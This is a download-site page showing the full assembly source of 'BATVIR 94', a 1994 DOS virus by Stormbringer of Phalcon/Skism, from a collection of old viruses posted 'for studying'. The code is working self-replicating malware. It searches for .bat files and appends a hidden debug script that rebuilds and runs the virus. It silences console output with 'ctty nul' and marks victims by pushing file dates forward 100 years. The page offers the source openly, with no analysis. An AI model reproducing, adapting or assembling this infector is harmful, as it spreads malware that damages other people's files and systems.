⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 batch.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;             [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
;   This virus is a bit cheesy, but hell.... Believe it or not, I got bored 
;enough to write a direct action .BAT infector in assembly.  It infects files 
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using debug to infect more files.  I doubt anyone has
;done this in quite this manner, so....
;
;
;
;enjoy,
;Stormbringer [P/S]


.model tiny
.radix 16
.code
        org 100
start:
        mov     ah,4e
        mov     dx,offset filemask

FindFile:        
        int     21
        jc      NoMoreFiles

        mov     dx,9e
        mov     ax,3d02
        int     21
        jc      DoneInfect
        xchg    bx,ax

        mov     ax,5700
        int     21
        push    cx dx

        cmp     dh,80
        jae     AlreadyInfected


        mov     ax,4202
        xor     cx,cx
        xor     dx,dx
        int     21

        mov     si,100
        mov     di,offset end_virus
        mov     cx,end_virus-start
        push    bx
        call    Convert2Hex
        pop     bx

        call    InfectBat


        pop     dx
        add     dh,0c8  ;Add 100 years to filedate
        push    dx

AlreadyInfected:
        pop     dx cx
        mov     ax,5701
        int     21

        mov     ah,3e
        int     21

DoneInfect:        
        mov     ah,4f
        jmp     FindFile

NoMoreFiles:
        mov     ax,4c00
        int     21


Convert2Hex:
        push    cx
        lodsb
        mov     bx,ax
        mov     cx,4
        shr     al,cl        
        push    ax
        call    convert2asc
        stosb
        pop     ax
        shl     al,cl
        sub     bl,al
        xchg    al,bl
        call    convert2asc
        stosb
        mov     ax,' '
        stosb
        pop     cx
        loop    Convert2hex
        stosb
        stosb
        ret

convert2asc:
        cmp     al,0a
        jae     letter
        add     al,'0'
        ret
letter:
        add     al,'A'-0a
        ret

InfectBat:
        mov     ah,40
        mov     dx,offset startinf
        mov     cx,endsinf-startinf     ;Write start of infection
        int     21
        mov     dx,offset end_virus

   DataLoop:
        push    dx        
        call    calcloc
        call    writeecho1        
        pop     dx        
        push    dx

        mov     cx,di
        sub     cx,dx
        cmp     cx,60d
        jb      WriteData
        mov     cx,60d
WriteData:
        mov     ah,40
        int     21

        push    ax
        call    WriteRedirect
        pop     ax

        pop     dx        
        add     dx,ax
        cmp     dx,di
        jae     WriteGoExitCommands
        jmp     DataLoop


WriteGoExitCommands:
        call    writeecho2

        mov     ah,40
        mov     dx,offset govirus
        mov     cx,1
        int     21

        call    WriteRedirect
        call    writeecho2

        mov     ah,40
        mov     dx,offset govirus+1
        mov     cx,1
        int     21

        call    WriteRedirect

        mov     dx,offset batchender
        mov     cx,endbatend-batchender
        mov     ah,40
        int     21

        ret
        
WriteRedirect:
        mov     dx,offset echodest
        mov     cx,endvirusfile-echodest
        mov     ah,40                   
        int     21
        ret

WriteEcho1:
        mov     cx,enddb-databyte
        jmp     short WriteEcho
WriteEcho2:
        mov     cx,5
WriteEcho:
        mov     dx,offset databyte
        mov     ah,40
        int     21
        ret


calcloc:
        push    ax bx cx dx si di
        sub     dx,offset end_virus
        mov     ax,dx
        mov     cx,3
        xor     dx,dx
        div     cx
        mov     dx,ax
        add     dx,100
        mov     di,offset temp
        mov     si,offset location
        xchg    dh,dl
        mov     location,dx
        mov     cx,2
        call    Convert2Hex
        mov     di,offset buffer1
        mov     si,offset temp
        movsw
        lodsb
        movsw
        pop     di si dx cx bx ax
        ret


Filemask        db      '*.bat',0

govirus         db      'gq'
endgovirus:

databyte        db      'echo e'
buffer1         db      '0100 '
enddb:

echodest        db      ' >>'
VirusFile       db      'batvir.94',0dh,0a
EndVirusFile:

Batchender      db      'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
                db      'ctty con',0dh,0a
endbatend:

startinf:        
        db      0dh,0a,'@echo off',0dh,0a
        db      'ctty nul',0dh,0a
Credits db      'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
endsinf:
location        dw      0
temp            dw      0,0,0,0

end_virus:
end start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -